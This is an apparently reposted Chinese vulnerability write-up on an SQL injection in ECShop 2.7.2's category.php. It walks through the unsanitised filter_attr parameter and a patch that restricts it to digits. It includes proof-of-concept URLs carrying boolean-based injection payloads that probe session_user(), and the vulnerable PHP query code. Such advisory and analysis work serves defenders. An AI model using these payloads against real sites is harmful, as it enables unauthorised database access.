ecshop /category.php SQL Injection Vul

來源:互聯網
上載者:User

標籤:

catalog

1. 漏洞描述2. 漏洞觸發條件3. 漏洞影響範圍4. 漏洞程式碼分析5. 防禦方法6. 攻防思考

 

1. 漏洞描述

Relevant Link:

http://sebug.net/vuldb/ssvid-19574


2. 漏洞觸發條件

0x1: POC

http://localhost/ecshop2.7.2/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2http://localhost/ecshop2.7.2/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=145%20or%201=2  


3. 漏洞影響範圍
4. 漏洞程式碼分析

/category.php

..$filter_attr_str = isset($_REQUEST[‘filter_attr‘]) ? trim($_REQUEST[‘filter_attr‘]) : ‘0‘;//變數 $filter_attr_str 是以“.” 分開的數組$filter_attr = empty($filter_attr_str) ? ‘‘ : explode(‘.‘, trim($filter_attr_str));.. /* 擴充商品查詢條件 */if (!empty($filter_attr)){    $ext_sql = "SELECT DISTINCT(b.goods_id) FROM " . $ecs->table(‘goods_attr‘) . " AS a, " . $ecs->table(‘goods_attr‘) . " AS b " .  "WHERE ";     $ext_group_goods = array();    foreach ($filter_attr AS $k => $v)                      // 查出符合所有篩選屬性條件的商品id */    {    if ($v != 0)     {        //$v 沒有作任何處理就加入了SQL查詢,造成SQL注入        $sql = $ext_sql . "b.attr_value = a.attr_value AND b.attr_id = " . $cat_filter_attr[$k] ." AND a.goods_attr_id = " . $v;        ..


5. 防禦方法

/category.php

../*對使用者輸入的$_REQUEST[‘filter_attr‘]進行轉義  */$filter_attr_str = isset($_REQUEST[‘filter_attr‘]) ? htmlspecialchars(trim($_REQUEST[‘filter_attr‘])) : ‘0‘;/* */$filter_attr_str = trim(urldecode($filter_attr_str));/* 敏感關鍵字過濾 */$filter_attr_str = preg_match(‘/^[\d\.]+$/‘,$filter_attr_str) ? $filter_attr_str : ‘‘;/**/$filter_attr = empty($filter_attr_str) ? ‘‘ : explode(‘.‘, $filter_attr_str);..foreach ($filter_attr AS $k => $v)                      // 查出符合所有篩選屬性條件的商品id */{     /* is_numeric($v) */    if (is_numeric($v) && $v !=0 )    {     ..


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

ecshop /category.php SQL Injection Vul

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.